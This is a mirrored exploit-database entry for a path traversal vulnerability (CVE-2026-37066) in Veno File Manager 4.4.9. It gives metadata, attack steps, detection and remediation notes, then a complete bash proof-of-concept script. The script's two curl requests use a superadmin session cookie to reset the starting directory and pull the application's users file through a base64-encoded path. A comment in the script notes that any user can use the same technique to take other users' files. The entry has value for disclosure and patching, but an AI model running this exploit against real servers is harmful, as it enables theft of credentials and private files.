Veno File Manager Path Traversal to Arbitrary File Read (CVE-2026-37066)

by jfs-jfs · 2026-07-05

Metadata

Field	Value
Date Added	2026-07-05
Last Updated	2026-06
Author / Researcher	jfs-jfs
CVE / Advisory	CVE-2026-37066
Category	web
Severity	High
CVSS Score	Not specified in source
Status	PoC
Tags	veno-file-manager, path-traversal, arbitrary-file-read, authenticated, superadmin, cwe-22
Related	N/A

Affected Target

Field	Value
Software / System	Veno File Manager Project
Versions Affected	4.4.9
Language / Platform	Bash PoC
Authentication Required	Yes (superadmin role)
Network Access Required	Yes (HTTP to vfm-admin interface)

Summary

Veno File Manager Project 4.4.9 contains a path traversal vulnerability in /vfm-admin/index.php and /vfm-admin/ajax/streamvid.php that allows an authenticated attacker with the superadmin role to disclose sensitive information via two specially crafted HTTP requests (POST and GET) to the affected endpoints.

Vulnerability Details

Root Cause

The affected endpoints accept attacker-controlled file paths without validating them against the intended base directory, allowing traversal outside it.

Attack Vector

Authenticate as a superadmin user.
Send crafted requests to /vfm-admin/index.php and /vfm-admin/ajax/streamvid.php with path-traversal sequences in the file path parameter.
The server returns the contents of the arbitrary file, disclosing sensitive information.

Impact

Superadmin-level authenticated attacker can read arbitrary files on the server filesystem.

Environment / Lab Setup

Target:   Veno File Manager Project 4.4.9
Attacker: Bash/curl, valid superadmin session

Proof of Concept

PoC Script

See PoC.sh in this folder.

1
./PoC.sh <target-url> <session-cookie> <path-to-read>

Sends the two crafted requests to demonstrate path-traversal-based arbitrary file disclosure.

Detection & Indicators of Compromise

Signs of compromise:

Unexpected access to sensitive files (e.g. /etc/passwd) via the file manager’s streaming/view endpoints

Remediation

Action	Detail
Primary fix	Update Veno File Manager to a version that validates file paths against the intended base directory
Interim mitigation	Restrict superadmin account issuance; monitor file-access logs for traversal patterns

References

Source repository

Notes

Mirrored from https://github.com/jfs-jfs/CVE-2026-37066 on 2026-07-05.

PoC.sh

bash raw GitHub ↓ Download

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env bash

##########################################################
########## SUPERADMIN ARBITRARY FILE DISCLOSURE ##########
##########################################################

################# TESTED ON VERSION 4.4.9 ################

# This exploit lets an attacker with superadmin access
# extract the contents of ony file in the system the
# application has read access to.
#
# This example will read vfm-admin/_content/users/users.php
#
# It for sure can extract any file of the application
# subfolder. For system files it depends on the webserver
# software and configuration.

# - Parameter $1 is vfm session cookie name
# - Parameter $2 is vfm session cookie value
# - Parameter $3 is Url to the root of where the installation
#   of vfm is (a.k.a. the root of the application)

if [[ -z "$1" ]] || [[ -z "$2" ]] || [[ -z "$3" ]]; then
  echo "[ USAGE ] :: ./auth-superadmin-arbitrary-file-disclosure.sh <vfm cookie name> <vfm cookie value> <root url of application>/"
  exit 1
fi

echo "[ STEP :: 01 ] :: Change starting dir to filesystem root"
curl -X POST \
  -b "$1=$2" \
  -d "starting_dir=./" \
  "$3/vfm-admin/index.php" &>/dev/null
echo "[ STEP :: 01 ] :: DONE"

# === This same technique without step 01 can be used for any
# === user to extract other user uploaded files as long as we
# === know the path and name of the file.
echo "[ STEP :: 02 ] :: Pull file"
curl -X GET \
  -b "$1=$2" \
  "$3/vfm-admin/ajax/streamvid.php?vid=$(echo -n "vfm-admin/_content/users/users.php" | base64)"
echo "[ STEP :: 02 ] :: DONE"